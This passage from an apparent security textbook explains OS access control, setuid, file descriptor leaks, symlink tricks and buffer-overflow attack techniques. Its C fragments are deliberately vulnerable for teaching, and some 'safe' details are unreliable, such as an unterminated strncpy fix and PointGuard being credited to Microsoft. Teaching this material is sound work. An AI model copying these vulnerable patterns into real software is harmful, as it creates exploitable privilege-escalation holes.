which is over 2 quadrillion. Also, even if an attacker can find the salt
associated with each userid (which the system should store in encrypted
form), by employing salted passwords, an operating system can limit his
dictionary attack to one userid at a time (since he would have to use a
different salt value for each one).

© PhotoAlto/Alamy
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Password Authentication in Windows and Unix-based Systems

In Microsoft Windows systems, password hashes are stored in a file called
the Security Accounts Manager (SAM) file, which is not accessible to
regular users while the operating system is running. Older versions of
Windows stored hashed passwords in this file using an algorithm based on
DES known as LAN Manager hash, or LM hash, which has some security
weaknesses. This password-hashing algorithm pads a user’s password to
14 characters, converts all lowercase letters to uppercase, and uses each of
the 7-byte halves to generate a DES key. These two DES keys are used
to encrypt a stored string (such as “KGS!@#$%”), resulting in two 8-byte
ciphertexts, which are concatenated to form the final hash. Because each
half of the user’s password is treated separately, the task of performing a
dictionary attack on an LM hash is actually made easier, since each half
has a maximum of seven characters. In addition, converting all letters to
uppercase significantly reduces the search space. Finally, the LM hash al-
gorithm does not include a salt, so using tables of precomputed information
is especially effective.

Windows improved these weaknesses by introducing the NTLM algo-
rithm. NTLM is a challenge-response protocol used for authentication by
several Windows components. The protocol involves a server, in this case
the operating system, and a client, in this case a service attempting to
authenticate a user. The operating system sends an 8-byte random number
as a challenge to the client. Next, the client computes two 24-byte responses
using two secrets, the LM hash of the password and the MD4 hash of the
password. For each secret, the client pads the 16-byte hash to 21 bytes with
null characters, splits the 21 bytes into three groups of 7 bytes, and uses
each 7-byte segment as a key to DES encrypt the 8-byte challenge. Finally,
the three 8-byte ciphertexts (for each secret) are concatenated, resulting in
two 24-byte responses (one using the MD4 hash, and the other using the
LM hash). These two responses are sent to the server, which has performed
the same computations using its stored hashes, and authenticates the user.
While NTLM has not been completely broken, some weaknesses have been
identified. Specifically, both the MD4 and LM hashes are unsalted and as
such are vulnerable to precomputation attacks.

Unix-based systems feature a similar password mechanism, and store
authentication information at /etc/passwd, possibly in conjunction with
/etc/shadow. However, most Unix variants use salt and are not as restricted
in the choice of hash algorithm, allowing administrators to chose their
preference. At the time of this writing, most systems use a salted MD5
algorithm or a DES variant, but many are able to use other hash algorithms
such as Blowfish.
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3.3 Access Control and Advanced File Permissions

Once a user is authenticated to a system, the next question that must be
addressed is that of access control:

How does the operating system determine what users have
permission to do?

To address in detail this question with respect to files, we need to develop
some terminology. A principal is either a user or a group of users. A
principal can be explicitly defined as a set of users, such as a group,
friends, consisting of users peter and paul, or it can be one of the principals
predefined by the operating system. For example, in Unix-based systems,
the following users and groups are defined for each file (or folder). User
owner refers to the user owning the file. Group group, called the owning
group, is the default group associated with the file. Also, group all includes
all the users in the system and group other consists of all but owner, i.e., of
all users except the owner of the file.

A permission is a specific action on a file or folder. For example, file
permissions include read and write and program files may additionally
have an execute permission. A folder may also have a list permission,
which refers to being able to inspect (list) the contents of the folder, and
execute, which allows for setting the current directory as that folder. The
execute permission of folders is the basis for the path-based access control
mechanism in Unix-based systems. (See Section 1.3.)

Access Control Entries and Lists

An access control entry (ACE) for a given file or folder consists of a triplet
(principal, type, permission), where type is either allow or deny. An access
control list (ACL) is an ordered list of ACEs.

There are a number of specific implementation details that must be
considered when designing an operating system permissions scheme. For
one, how do permissions interact with the file organization of the system?
Specifically, is there a hierarchy of inheritance? If a file resides in a folder,
does it inherit the permissions of its parent, or override them with its own
permissions? What happens if a user has permission to write to a file but
not to the directory that the file resides in? The meaning of read, write, and
execute permissions seems intuitive for files, but how do these permissions
affect folders? Finally, if permissions aren’t specifically granted or denied,
are they implied by default? Interestingly, even between two of the most
popular operating system flavors, Linux and Windows, the answers to
these questions can vary dramatically.
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Linux Permissions

Linux inherits most of its access control systems from the early Unix sys-
tems discussed previously. Linux features file permission matrices, which
determine the privileges various users have in regards to a file. All permis-
sions that are not specifically granted are implicitly denied, so there is no
mechanism (or need) to explicitly deny permissions. According to the path-
based access control principle, in order to access a file, each ancestor folder
(in the filesystem tree) must have execute permission and the file itself
must have read permission. Finally, owners of files are given the power
to change the permissions on those files—this is known as discretionary
access control (DAC).

In addition to the three basic permissions (read, write, and execute),
Linux allows users to set extended attributes for files, which are applied
to all users attempting to access these files. Example extended attributes
include making a file append-only (so a user may only write to the end
of the file) and marking a file as “immutable,” at which point not even
the root user can delete or modify the file (unless he or she removes the
attribute first). These attributes can be set and viewed with the chattr and
lsattr commands, respectively.

More recently, Linux has begun supporting an optional ACL-based
permissions scheme. ACLs on Linux can be checked with the getfacl
command, and set with the setfacl command. Within this scheme, each file
has basic ACEs for the owner, group, and other principals and additional
ACEs for specific users or groups, called named users and named groups,
can be created. There is also a mask ACE, which specifies the maximum
allowable permissions for the owning group and any named users and
groups. Let U be the euid of the process attempting access to the file or
folder with certain requested permissions. To determine whether to grant
access, the operating system tries to match the following conditions and
selects the ACE associated with the first matching condition:

• U is the userid of the file owner: the ACE for owner;
• U is one of the named users: the ACE for U;
• one of the groups of U is the owning group and the ACE for group

contains the requested permissions: the ACE for group;
• one of the groups of U is a named group G and its ACE contains the

requested permissions: the ACE for G;
• for each group G of U that is the owning group or a named group,

the ACE for G does not contain the requested permissions: the empty
ACE;
• otherwise: the ACE for other.
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If the ACE for owner or other or the empty ACE has been selected, then
its permissions determine access. Else, the selected ACE is “ANDed”
with the mask ACE and the permissions of the resulting ACE determine
access. Note that the although multiple ACEs could be selected in the
fourht condition, the access decision does not depend on the specific ACE
selected. At the time of this writing, Linux’s ACL scheme is not very widely
used, despite the fact that it allows for more flexibility in access control.

Some Linux distributions have even more advanced access control
mechanisms. Security-Enhanced Linux (SELinux), developed primarily
by the United States National Security Agency, is a series of security en-
hancements designed to be applied to Unix-like systems. SELinux features
strictly enforced mandatory access control, which defines virtually every
allowable action on a machine. Each rule consists of a subject, referring to
the process attempting to gain access, an object, referring to the resource
being accessed, and a series of permissions, which are checked by the
operating system appropriately. SELinux embodies the principle of least
privilege: limiting every process to the bare minimum permissions needed
to function properly, which significantly minimizes the effects of a security
breach. In addition, unlike DAC, users are not given the power to decide
security attributes of their own files. Instead, this is delegated to a central
security policy administrator. These enhancements allow SELinux to create
a much more restrictive security environment.

Windows Permissions

Windows uses an ACL model that allows users to create sets of rules for
each user or group. These rules either allow or deny various permissions
for the corresponding principal. If there is no applicable allow rule, access
is denied by default. The basic permissions are known as standard permis-
sions, which for files consist of modify, read and execute, read, write, and
finally, full control, which grants all permissions. Figure 13 depicts the
graphical interface for editing permissions in Windows XP.

To finely tune permissions, there are also advanced permissions, which
the standard permissions are composed of. These are also shown in Fig-
ure 13. For example, the standard read permission encompasses several
advanced permissions: read data, read attributes, read extended attributes,
and read permissions. Setting read to allow for a particular principal
automatically allows each of these advanced permissions, but it is also
possible to set only the desired advanced permissions.

As in Linux, folders have permissions too: read is synonymous with the
ability to list the contents of a folder, and write allows a user to create new
files within a folder. However, while Linux checks each folder in the path to
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Figure 13: Customizing file permissions in Windows XP.

a file before allowing access, Windows has a different scheme. In Windows,
the path to a file is simply an identifier that has no bearing on permissions.
Only the ACL of the file in question is inspected before granting access. This
allows administrators to deny a user access to a folder, but allow access to
a file within that folder, which would not be possible in Linux.

In Windows, any ACEs applied to a folder may be set to apply not to just
the selected folder, but also to the subfolders and files within it. The ACEs
automatically generated in this way are called inherited ACEs, as opposed
to ACEs that are specifically set, which are called explicit ACEs. Note
that administrators may stop the propagation of inheritance at a particular
folder, ensuring that the children of that folder do not inherit ACEs from
ancestor folders.

This scheme of inheritance raises the question of how ACEs should take
precedence. In fact, there is a simple hierarchy that the operating system
uses when making access control decision. At any level of the hierarchy,
deny ACEs take precedence over allow ACEs. Also, explicit ACEs take
precedence over inherited ACEs, and inherited ACEs take precedence in
order of the distance between the ancestor and the object in question—the
parent’s ACEs take precedent over the grandparent’s ACEs, and so on.
With this algorithm in place, resolving permissions is a simple matter
of enumerating the entries of the ACL in the appropriate order until an
applicable rule is found. This hierarchy, along with the finely granulated
control of Windows permissions, provides administrators with substantial
flexibility, but also may create the potential for security holes due to its
complexity—if rules are not carefully applied, sensitive resources may be
exposed.

Microsoft® and Windows® are registered trademarks of the 
Microsoft Corporation in the U.S.A. and other countries.
Screen shots and icons reprinted with permission from the 
Microsoft Corporation. This book is not sponsored or endorsed 
by or affiliated with the Microsoft Corporation.
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The SetUID Bit

A related access-control question of operating systems security is how to
give certain programs permission to perform tasks that the users running
them should not otherwise be allowed to do. For example, consider the
password mechanism in early Unix systems, where user login information
is stored in /etc/passwd. Clearly, ordinary users should not be able to edit
this file, or a user could simply change the password of another user and
assume their identity. However, users should be allowed to change their
own passwords.

In other words, a program is needed that can be run by an ordinary user,
allowing changes to a file that ordinary users cannot alter. In the existing
architecture, however, this doesn’t seem possible. Since processes inherit
the permissions of their parent process, a password-changing program run
by an ordinary user would be restricted to the permissions of that user, and
would be unable to write to the /etc/passwd file.

To solve this problem, Unix systems have an additional bit in the file
permission matrix known as a setuid bit. If this bit is set, then that program
runs with the effective user ID of its owner, rather than the process that
executed it. For example, the utility used to change passwords in Unix is
passwd. This program is owned by the root account, has the execute bit set
for the others class, and has the setuid bit set. When a user runs passwd,
the program runs with the permissions of the root user, allowing it to alter
the /etc/passwd file, which can only be written by the root user. Setuid
programs can also drop their higher privileges by making calls to the setuid
family of functions.

Although it is less commonly used, it is possible to set a setgid bit, which
functions similarly to setuid, but for groups. When the setgid bit is set, the
effective group ID of the running process is equal to the ID of the group
that owns the file, as opposed to the group id of the parent process.

The setuid mechanism is effective in that it solves the access-without-
privileges problem, but it also raises some security concerns. In particu-
lar, it requires that setuid programs are created using safe programming
practices. If an attacker can force a setuid program to execute arbitrary
code, as we discuss later with respect to buffer overflow attacks, then the
attacker can exploit the setuid mechanism to assume the permissions of the
program’s owner, creating a privilege escalation scenario.
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An Example SetUID Program

An example setuid program can be found in Code Fragment 1. In this
example, the application calls seteuid() to drop and restore its permissions.

Note that this program runs with the permissions of the user for most of
its execution, but briefly raises its permissions to that of its owner in order
to write to a log file that ordinary users presumably cannot access.

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

static uid t euid, uid;

int main(int argc, char * argv[ ])
{

FILE *file;
/* Store real and effective user IDs */
uid = getuid();
euid = geteuid();
/* Drop priviliges */

seteuid(uid);
/* Do something useful */
/* . . . */
/* Raise privileges */
seteuid(euid);
/* Open the file */
file = fopen("/home/admin/log", "a");
/* Drop privileges again */
seteuid(uid);
/* Write to the file */
fprintf(file, "Someone used this program.\n");
/* Close the file stream and return */
fclose(file);
return 0;
}

Code Fragment 1: A simple C program that uses seteuid() to change its
permissions. The fprintf action is done using the permissions of the owner
of this program, not the user running this program.
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3.4 File Descriptors

In order for processes to work with files, they need a shorthand way to
refer to those files, other than always going to the filesystem and specifying
a path to the files in question. In order to efficiently read and write files
stored on disk, modern operating systems rely on a mechanism known
as file descriptors. File descriptors are essentially index values stored in
a table, aptly known as the file descriptor table. When a program needs
to access a file, a call is made to the open system call, which results in
the kernel creating a new entry in the file descriptor table which maps
to the file’s location on the disk. This new file descriptor is returned to
the program, which can now issue read or write commands using that file
descriptor. When receiving a read or write system call, the kernel looks
up the file descriptor in the table and performs the read or write at the
appropriate location on disk. Finally, when finished, the program should
issue the close system call to remove the open file descriptor.

Reading and Writing with File Descriptors

Several security checks occur during the process of performing a read or
write on a file, given its file descriptor. When the open system call is issued,
the kernel checks that the calling process has permission to access the file
in the manner requested—for example, if a process requests to open a file
for writing, the kernel ensures that the file has the write permission set for
that process before proceeding. Next, whenever a call to read or write is
issued, the kernel checks that the file descriptor being written to or read
from has the appropriate permissions set. If not, the read or write fails and
the program typically halts.

On most modern systems, it is possible to pass open file descriptors
from one process to another using ordinary IPC mechanisms. For exam-
ple, on Unix-based systems (including Linux) it is possible to open a file
descriptor in one process and send a copy of the file descriptor to another
process via a local socket.

File Descriptor Leaks

A common programming error that can lead to serious security problems is
known as a file descriptor leak. A bit of additional background is required
to understand this type of vulnerability. First, it is important to note
that when a process creates a child process (using a fork command), that
child process inherits copies of all of the file descriptors that are open in
the parent. Second, the operating system only checks whether a process
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has permissions to read or write to a file at the moment of creating a
file descriptor entry; checks performed at the time of actually reading or
writing to a file only confirm that the requested action is allowed according
to the permissions the file descriptor was opened with. Because of these
two behaviors, a dangerous scenario can arise when a program with high
privileges opens a file descriptor to a protected file, fails to close it, and then
creates a process with lower permissions. Since the new process inherits
the file descriptors of its parent, it will be able to read or write to the
file, depending on how the parent process issued the open system call,
regardless of the fact that the child process might not have permission to
open that file in other circumstances.

An Example Vulnerability

An example of this scenario can be found in Code Fragment 2. Notice in
this example how there is no call to close the file descriptor before executing
a new process. As a result, the child is able to read the file. In a situation
such as this one, the child could access the open file descriptor via a number
of mechanisms, most commonly using the fcntl() family of functions. To fix
this vulnerability, a call to fclose(), which would close the file descriptor,
should be made before executing the new program.

#include <stdio.h>
#include <unistd.h>

int main(int argc, char * argv[ ])
{

/* Open the password file for reading */
FILE *passwords;
passwords = fopen("/home/admin/passwords", "r");

/* Read the passwords and do something useful */
/* . . . */

/* Fork and execute Joe’s shell without closing the file */
execl("/home/joe/shell", "shell", NULL);

}

Code Fragment 2: A simple C program vulnerable to a file descriptor leak.
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3.5 Symbolic Links and Shortcuts

It is often useful for users to be able to create links or shortcuts to other
files on the system, without copying the entire file to a new location. For
example, it might be convenient for a user to have a link to a program on
their desktop while keeping the actual program at another location. In this
way, if the user updates the underlying file, all links to it will automatically
be referring to the updated version.

In Linux and other Unix-based systems, this can be accomplished
through the use of symbolic links, also known as symlinks or soft links,
which can be created using the ln command. To the user, symlinks appear to
reside on the disk like any other file, but rather than containing information,
they simply point to another file or folder on disk.

This linking is completely transparent to applications, as well. If a
program attempts to open and read from a symlink, the operating system
follows the link so that the program actually interacts with the file the
symlink is pointing to. Symlinks can be chained together, so that one
symlink points to another, and so on, as long as the final link points to an
actual file. In these cases, programs attempting to access a symlink follow
the chain of links until reaching the file.

Symlinks can often provide a means by which malicious parties can
trick applications into performing undesired behavior, however. As an
example, consider a program that opens and reads a file specified by the
user. Suppose that this program is designed specifically to prohibit the
reading of one particular file, say, /home/admin/passwords, for example.
An unsafe version of this program would simply check that the filename
specified by the user is not /home/admin/passwords. However, an attacker
could trick this program by creating a symlink to the passwords file and
specifying the path of the symlink instead. To solve this aliasing problem,
the program should either check if the provided filename refers to a sym-
link, or confirm the actual filename being opened by using a stat system
call, which retrieves information on files.

More recent versions of Windows support symlinks similar to those on
Unix, but much more common is the use of shortcuts. A shortcut is similar
to a symlink in that it is simply a pointer to another file on disk. However,
while symlinks are automatically resolved by the operating system so that
their use is transparent, Windows shortcuts appear as regular files, and only
programs that specifically identify them as shortcuts can follow them to the
referenced files. This prevents most of the symlink attacks that are possible
on Unix-based systems, but also limits their power and flexibility.
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4 Application Program Security

Many attacks don’t directly exploit weaknesses in the OS kernel, but rather
attack insecure programs. These programs, operating at the applications
layer, could even be nonkernel operating system programs, such as the pro-
gram to change passwords, which runs with higher privileges than those
granted to common users. So these programs should be protected against
privilege escalation attacks. But before we can describe such protections,
we need to first discuss some details about program creation.

4.1 Compiling and Linking

The process of converting source code, which is written in a programming
language, such as Java or C++, to the machine code instructions that a
processor can execute is known as compiling. A program may be compiled
to be either statically linked or dynamically linked. With static linking,
all shared libraries, such as operating system functions, that a program
needs during its execution are essentially copied into the compiled program
on disk. This may prove to be safer from a security perspective, but is
inconvenient in that it uses additional space for duplicate code that might
be used by many programs, and it may limit debugging options.

The alternative is dynamic linking, where shared libraries are loaded
when the program is actually run. When the program is executed, the
loader determines which shared libraries are needed for the program, finds
them on the disk, and imports them into the process’s address space. In
Microsoft Windows, each of these external libraries is known as a dynamic
linking library (DLL), while in many Unix systems, they are simply referred
to as shared objects. Dynamic linking is an optimization that saves space
on the hard disk, and allows developers to modularize their code. That
is, instead of recompiling an entire application, it may be possible to alter
just one DLL, for instance, to fix a bug since DLL that could potentially
affect many other programs. The process of injecting arbitrary code into
programs via shared libraries is known as DLL injection. DLL injection can
be incredibly useful for the purposes of debugging, in that programmers
can easily change functions in their applications without recompiling their
code. However, this technique poses a potential security risk because it may
allow malicious parties to inject their own code into legitimate programs.
Imagine the consequences if a guest user redefined a function called by a
system administrator program; hence, the need for administrative privi-
leges.
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4.2 Simple Buffer Overflow Attacks

A classic example of such an application program attack, which allows for
privilege escalation, is known as a buffer overflow attack. In any situation
where a program allocates a fixed-size buffer in memory in which to store
information, care must be taken to ensure that copying user-supplied data
to this buffer is done securely and with boundary checks. If this is not the
case, then it may be possible for an attacker to provide input that exceeds
the length of the buffer, which the program will then dutifully attempt to
copy to the allotted buffer. However, because the provided input is larger
than the buffer, this copying may overwrite data beyond the location of the
buffer in memory, and potentially allow the attacker to gain control of the
entire process and execute arbitrary code on the machine (recall that the
address space for a process includes both the data and the code for that
process).

Arithmetic Overflow

The simplest kind of overflow condition is actually a limitation having
to do with the representation of integers in memory. In most 32-bit ar-
chitectures, signed integers (those that can be either positive or negative)
are expressed in what is known as two’s compliment notation. In hex
notation, signed integers 0x00000000 to 0x7ffffff (equivalent to 231 − 1)
are positive numbers, and 0x80000000 to 0xffffffff are negative numbers.
The threshold between these two ranges allows for overflow or under-
flow conditions. For example, if a program continually adds very large
numbers and eventually exceeds the maximum value for a signed integer,
0x7fffffff, the representation of the sum overflows and becomes negative
rather than positive. Similarly, if a program adds many negative numbers,
eventually the sum will underflow and become positive. This condition
also applies to unsigned integers, which consist of only positive numbers
from 0x00000000 to 0xffffffff. Once the highest number is reached, the next
sequential integer wraps around to zero.

An Example Vulnerability

This numerical overflow behavior can sometimes be exploited to trick an
application to perform undesirable behavior. As an example, suppose a
network service keeps track of the number of connections it has received
since it has started, and only grants access to the first five users. An unsafe
implementation can be found in Code Fragment 3.
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#include <stdio.h>

int main(int argc, char * argv[ ])
{

unsigned int connections = 0;
// Insert network code here
// . . .
// . . .
// Does nothing to check overflow conditions
connections++;
if(connections < 5)

grant access();
else

deny access();
return 1;
}

Code Fragment 3: A C program vulnerable to an arithmetic overflow.

An attacker could compromise the above system by making a huge
number of connections until the connections counter overflows and wraps
around to zero. At this point, the attacker will be authenticated to the
system, which is clearly an undesirable outcome. To prevent these types of
attacks, safe programming practices must be used to ensure that integers
are not incremented or decremented indefinitely and that integer upper
bounds or lower bounds are respected. An example of a safe version of
the program above can be found in Code Fragment 4.

#include <stdio.h>

int main(int argc, char * argv[ ])
{

unsigned int connections = 0;
// Insert network code here
// . . .
// . . .
// Prevents overflow conditions
if(connections < 5)

connections++;
if(connections < 5)

grant access();
else

deny access();
return 1;

}

Code Fragment 4: A variation of the program in Code Fragment 3,
against arithmetic overflow.

protected
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4.3 Stack-Based Buffer Overflow

Another type of buffer overflow attack exploits the special structure of the
memory stack. Recall from Section 1.4, that the stack is the component of
the memory address space of a process that contains data associated with
function (or method) calls. The stack consists of frames, each associated
with an active call. A frame stores the local variables and arguments of
the call and the return address for the parent call, i.e., the memory address
where execution will resume once the current call terminates. At the base
of the stack is the frame of the main() call. At the end of the stack is the
frame of the currently running call. This organizational structure allows for
the CPU to know where to return to when a method terminates, and it also
automatically allocates and deallocates the space local variables require.

In a buffer overflow attack, an attacker provides input that the program
blindly copies to a buffer that is smaller than the input. This commonly
occurs with the use of unchecked C library functions, such as strcpy() and
gets(), which copy user input without checking its length.

A buffer overflow involving a local variable can cause a program to
overwrite memory beyond the buffer’s allocated space in the stack, which
can have dangerous consequences. An example of a program that has a
stack buffer overflow vulnerability is shown in Code Fragment 5.

In a stack-based buffer overflow, an attacker could overwrite local vari-
ables adjacent in memory to the buffer, which could result in unexpected
behavior. Consider an example where a local variable stores the name of a
command that will be eventually executed by a call to system(). If a buffer
adjacent to this variable is overflowed by a malicious user, that user could
replace the original command with one of his or her choice, altering the
execution of the program.

#include <stdio.h>

int main(int argc, char * argv[ ])
{

// Create a buffer on the stack
char buf[256];
// Does not check length of buffer before copying argument
strcpy(buf,argv[1]);
// Print the contents of the buffer
printf("%s\n",buf);
return 1;
}

Code Fragment 5: A C program vulnerable to a stack buffer overflow.
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Although this example is somewhat contrived, buffer overflows are
actually quite common (and dangerous). A buffer overflow attack is es-
pecially dangerous when the buffer is a local variable or argument within
a stack frame, since the user’s input may overwrite the return address
and change the execution of the program. In a stack smashing attack, the
attacker exploits a stack buffer vulnerability to inject malicious code into the
stack and overwrite the return address of the current routine so that when
it terminates, execution is passed to the attacker’s malicious code instead
of the calling routine. Thus, when this context switch occurs, the malicious
code will be executed by the process on behalf of the attacker. An idealized
version of a stack smashing attack, which assumes that the attacker knows
the exact position of the return address, is illustrated in Figure 14.
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Figure 14: A stack smashing attack under the assumption that the attacker
knows the position of the return address. (a) Before the attack, the return
address points to a location in the program code. (b) Exploiting the unpro-
tected buffer, the attacker injects into the address space input consisting of
padding up to the return address location, a modified return address that
points to the next memory location, and malicious code. After completing
execution of the current routine, control is passed to the malicious code.
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Seizing Control of Execution

In a realistic situation of a stack-based buffer overflow attack, the first
problem for the attacker is to guess the location of the return address with
respect to the buffer and to determine what address to use for overwriting
the return address so that execution is passed to the attacker’s code. The
nature of operating system design makes this challenging for two reasons.

First, processes cannot access the address spaces of other processes, so
the malicious code must reside within the address space of the exploited
process. Because of this, the malicious code is often kept in the buffer itself,
as an argument to the process provided when it is started, or in the user’s
shell environment, which is typically imported into the address space of
processes.

Second, the address space of a given process is unpredictable and may
change when a program is run on different machines. Since all programs
on a given architecture start the stack at the same relative address for each
process, it is simple to determine where the stack starts, but even with
this knowledge, knowing exactly where the buffer resides on the stack is
difficult and subject to guesswork.

Several techniques have been developed by attackers to overcome
these challenges, including NOP sledding, return-to-libc, and the jump-
to-register or trampolining techniques.

NOP Sledding

NOP sledding is a method that makes it more likely for the attacker to
successfully guess the location of the code in memory by increasing the size
of the target. A NOP or No-op is a CPU instruction that does not actually
do anything except tell the processor to proceed to the next instruction.
To use this technique, the attacker crafts a payload that contains an ap-
propriate amount of data to overrun the buffer, a guess for a reasonable
return address in the process’s address space, a very large number of NOP
instructions, and finally, the malicious code. When this payload is provided
to a vulnerable program, it copies the payload into memory, overwriting the
return address with the attacker’s guess. In a successful attack, the process
will jump to the guessed return address, which is likely to be somewhere in
the high number of NOPs (known as the NOP sled). The processor will then
“sled through” all of the NOPs until it finally reaches the malicious code,
which will then be executed. NOP sledding is illustrated in Figure 15.
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Figure 15: The NOP sledding technique for stack smashing attacks.

Trampolining

Despite the fact that NOP sledding makes stack-based buffer overflows
much more likely to succeed, they still require a good deal of guesswork
and are not extremely reliable. Another technique, known as jump-to-
register or trampolining, is considered more precise. As mentioned above,
on initialization, most processes load the contents of external libraries
into their address space. These external libraries contain instructions that
are commonly used by many processes, system calls, and other low-level
operating system code. Because they are loaded into the process’s address
space in a reserved section of memory, they are in predictable memory
locations. Attackers can use knowledge of these external libraries to per-
form a trampolining attack. For example, an attacker might be aware of a
particular assembly code instruction in a Windows core system DLL and
suppose this instruction tells the processor to jump to the address stored in
one of the processor’s registers, such as ESP. If the attacker can manage
to place his malicious code at the address pointed to by ESP and then
overwrite the return address of the current function with the address of
this known instruction, then on returning, the application will jump and
execute the jmp esp instruction, resulting in execution of the attacker’s
malicious code. Once again, specific examples will vary depending on the
application and the chosen library instruction, but in general this technique
provides a reliable way to exploit vulnerable applications that is not likely
to change on subsequent attempts on different machines, provided all of the
machines involved are running the same version of the operating system.
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The Return-to-libc Attack

A final attack technique, known as a return-to-libc attack, also uses the
external libraries loaded at runtime—in this case, the functions of the C
library, libc. If the attacker can determine the address of a C library function
within a vulnerable process’s address space, such as system() or execv, this
information can be used to force the program to call this function. The
attacker can overflow the buffer as before, overwriting the return address
with the address of the desired library function. Following this address,
the attacker must provide a new address that the libc function will return
to when it is finished execution (this may be a dummy address if it is
not necessary for the chosen function to return), followed by addresses
pointing to any arguments to that function. When the vulnerable stack
frame returns, it will call the chosen function with the arguments provided,
potentially giving full control to the attacker. This technique has the added
advantage of not executing any code on the stack itself. The stack only
contains arguments to existing functions, not actual shellcode. Therefore,
this attack can be used even when the stack is marked as nonexecutable.

Shellcode

Once an attacker has crafted a stack-based buffer overflow exploit, they
have the ability to execute arbitrary code on the machine. Attackers often
choose to execute code that spawns a terminal or shell, allowing them to
issue further commands. For this reason, the malicious code included in an
exploit is often known as shellcode. Since this code is executed directly on
the stack by the CPU, it must be written in assembly language, low-level
processor instructions, known as opcodes, that vary by CPU architecture.
Writing usable shellcode can be difficult. For example, ordinary assembly
code may frequently contain the null character, 0x00. However, this code
cannot be used in most buffer overflow exploits, because this character
typically denotes the end of a string, which would prevent an attacker from
successfully copying his payload into a vulnerable buffer; hence, shellcode
attackers employ tricks to avoid null characters.

Buffer overflow attacks are commonly used as a means of privilege
escalation by exploiting SetUID programs. Recall that a SetUID program
can be executed by low-level users, but is allowed to perform actions on
behalf of its owner, who may have higher permissions. If a SetUID program
is vulnerable to a buffer overflow, then an attack might include shellcode
that first executes the setuid() system call, and then spawns a shell. This
would result in the attacker gaining a shell with the permissions of the
exploited process’s owner, and possibly allow for full system compromise.
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Preventing Stack-Based Buffer Overflow Attacks

Many measures have been developed to combat buffer overflow attacks.
First, the root cause of buffer overflows is not the operating system it-
self, but rather insecure programming practices. Programmers must be
educated about the risks of insecurely copying user-supplied data into
fixed-size buffers, and ensure that their programs never attempt to copy
more information than can fit into a buffer. Many popular programming
languages, including C and C++, are susceptible to this attack, but other
languages do not allow the behavior that makes buffer overflow attacks
possible. To fix the previous example, the safer strncpy function should be
used, as in Code Fragment 6.

#include <stdio.h>

int main(int argc, char * argv[ ])
{

// Create a buffer on the stack
char buf[256];
// Only copies as much of the argument as can fit in the buffer
strncpy(buf, argv[1], sizeof(buf));
// Print the contents of the buffer
printf("%s\n",buf);
return 1;
}

Code Fragment 6: A C program protected against a stack buffer overflow.

Because of the dangers of buffer overflows, many operating systems
have incorporated protection mechanisms that can detect if a stack-based
buffer overflow has occurred (at which point the OS can decide how to deal
with this discovery). One such technique directly provides stack-smashing
protection by detecting when a buffer overflow occurs and at that point
prevent redirection of control to malicious code.

There are several implementations of this technique, all of which in-
volve paying closer attention to how data is organized in the method stack.
One such implementation, for instance, reorganizes the stack data allotted
to programs and incorporates a canary, a value that is placed between a
buffer and control data (which plays a similar role to a canary in a coal
mine). The system regularly checks the integrity of this canary value, and
if it has been changed, it knows that the buffer has been overflowed and it
should prevent malicious code execution. (See Figure 16.)
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Figure 16: Stack-based buffer overflow detection using a random canary.
The canary is placed in the stack prior to the return address, so that any
attempt to overwrite the return address also overwrites the canary.

Other systems are designed to prevent the attacker from overwriting
the return address. Microsoft developed a compiler extension called Point-
Guard that adds code which XOR-encodes any pointers, including the
return address, before and after they are used. As a result, an attacker
would not be able to reliably overwrite the return address with a location
that would lead to a valid jump. Yet another approach is to prevent
running code on the stack by enforcing a no-execution permission on the
stack segment of memory. If the attacker’s shellcode were not able to run,
then exploiting an application would be difficult. Finally, many operating
systems now feature address space layout randomization (ASLR), which
rearranges the data of a process’s address space at random, making it
extremely difficult to predict where to jump in order to execute code.

Despite these protection mechanisms, researchers and hackers alike
have developed newer, more complicated ways of exploiting buffer over-
flows. For example, popular ASLR implementations on 32-bit Windows
and Linux systems have been shown to use an insufficient amount of
randomness to fully prevent brute-force attacks, which has required ad-
ditional techniques to provide stack-smashing protection. The message is
clear, operating systems may have features to reduce the risks of buffer
overflows, but ultimately, the best way to guarantee safety is to remove
these vulnerabilities from application code. The primary responsibility
rests on the programmer to use safe coding practices.
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4.4 Heap-Based Buffer Overflow Attacks

Memory on the stack is either allocated statically, which is determined
when the program is compiled, or it is allocated and removed automatically
when functions are called and returned. However, it is often desirable to
give programmers the power to allocate memory dynamically and have it
persist across multiple function calls. This memory is allocated in a large
portion of unused memory known as the heap.

Dynamic memory allocation presents a number of potential problems
for programmers. For one, if programmers allocate memory on the heap
and do not explicitly deallocate (free) that block, it remains used and can
cause memory leak problems, which are caused by memory locations that
are allocated but are not actually being used.

From a security standpoint, the heap is subject to similar problems as
the stack. A program that copies user-supplied data into a block of memory
allocated on the heap in an unsafe way can result in overflow conditions,
allowing an attacker to execute arbitrary code on the machine. An example
of a vulnerable program can be found in Code Fragment 7.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[ ])
{

// Allocate two adjacent blocks on the heap
char *buf = malloc(256);
char *buf2 = malloc(16);
// Does not check length of buffer before copying argument
strcpy(buf, argv[1]);
// Print the argument
printf("Argument: %s\n", buf);
// Free the blocks on the heap
free(buf);
free(buf2);
return 1;
}

Code Fragment 7: A simple C program vulnerable to a heap overflow.
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As with stack overflows, these problems can be mitigated by using
safe programming practices, including replacing unsafe functions such as
strcpy() with safer equivalents like strncpy(). (See Code Fragment 8.)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[ ])
{

// Allocate two adjacent blocks on the heap
char *buf = malloc(256);
char *buf2 = malloc(16);
// Only copies as much of the argument as can fit in the buffer
strncpy(buf, argv[1], 255);
// Print the argument
printf("Argument: %s\n", buf);
// Free the blocks on the heap
free(buf);
free(buf2);
return 1;
}

Code Fragment 8: A simple C program protected against a heap overflow.

Heap-based overflows are generally more complex than the more
prevalent stack-based buffer overflows and require a more in-depth under-
standing of how garbage collection and the heap are implemented. Unlike
the stack, which contains control data that if altered changes the execution
of a program, the heap is essentially a large empty space for data. Rather
than directly altering control, heap overflows aim to either alter data on
the heap or abuse the functions and macros that manage the memory on
the heap in order to execute arbitrary code. The specific attack used varies
depending on the particular architecture.

An Example Heap-Based Overflow Attack

As an example, let us consider an older version of the GNU compiler (GCC)
implementation of malloc(), the function that allocates a block of memory
on the heap. In this implementation, blocks of memory on the heap are
maintained as a linked list—each block has a pointer to the previous and
next blocks in the list. When a block is marked as free, the unlink() macro
is used to set the pointers of the adjacent blocks to point to each other,
effectively removing the block from the list and allowing the space to be
